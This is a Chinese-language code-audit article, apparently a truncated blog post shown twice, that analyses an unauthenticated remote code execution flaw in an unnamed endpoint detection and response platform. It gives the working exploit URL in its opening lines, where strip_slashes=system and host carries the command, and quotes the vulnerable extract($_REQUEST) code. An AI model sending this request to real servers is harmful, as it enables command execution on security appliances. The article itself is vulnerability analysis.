某终端检测响应平台代码审计分析
2020年9月3日 00:00
某终端检测响应平台代码审计分析
前言
2020年08月17日收到一条漏洞情报,某终端检测响应平台代码未授权RCE:/tool/log/c.php?strip_slashes=system&host=id

参数:host,可以修改任意的系统命令进行执行。
原理分析
首先我们跟进一下/tool/log/c.php文件发现其没有任何权限限制,所以我们只需要看一下请求参数是如何传递的,搜索关键词:
$_POST
$_GET
$_REQUEST
在代码第144行、146行分别调用了变量匿名函数,并将$_REQUEST作为传递参数:
$show_form($_REQUEST);
...
$main($_REQUEST);
先跟进$show_form这个匿名函数:
$show_form = function($params) use(&$strip_slashes, &$show_input) {
extract($params);
$host = isset($host) ? $strip_slashes($host) : "127.0.0.1";
$path = isset($path) ? $strip_slashes($path) : "";
$row = isset($row) ? $strip_slashes($row) : "";
$limit = isset($limit) ? $strip_slashes($limit) : 1000;
// 绘制表单
echo "<pre>";
echo '<form id="studio" name="studio" method="post" action="">';
$show_input(array("title"...剩余内容已隐藏
查看完整文章以阅读更多
某终端检测响应平台代码审计分析
2020年9月3日 00:00
某终端检测响应平台代码审计分析
前言
2020年08月17日收到一条漏洞情报,某终端检测响应平台代码未授权RCE:/tool/log/c.php?strip_slashes=system&host=id

参数:host,可以修改任意的系统命令进行执行。
原理分析
首先我们跟进一下/tool/log/c.php文件发现其没有任何权限限制,所以我们只需要看一下请求参数是如何传递的,搜索关键词:
$_POST
$_GET
$_REQUEST
在代码第144行、146行分别调用了变量匿名函数,并将$_REQUEST作为传递参数:
$show_form($_REQUEST);
...
$main($_REQUEST);
先跟进$show_form这个匿名函数:
$show_form = function($params) use(&$strip_slashes, &$show_input) {
extract($params);
$host = isset($host) ? $strip_slashes($host) : "127.0.0.1";
$path = isset($path) ? $strip_slashes($path) : "";
$row = isset($row) ? $strip_slashes($row) : "";
$limit = isset($limit) ? $strip_slashes($limit) : 1000;
// 绘制表单
echo "<pre>";
echo '<form id="studio" name="studio" method="post" action="">';
$show_input(array("title"...剩余内容已隐藏
查看完整文章以阅读更多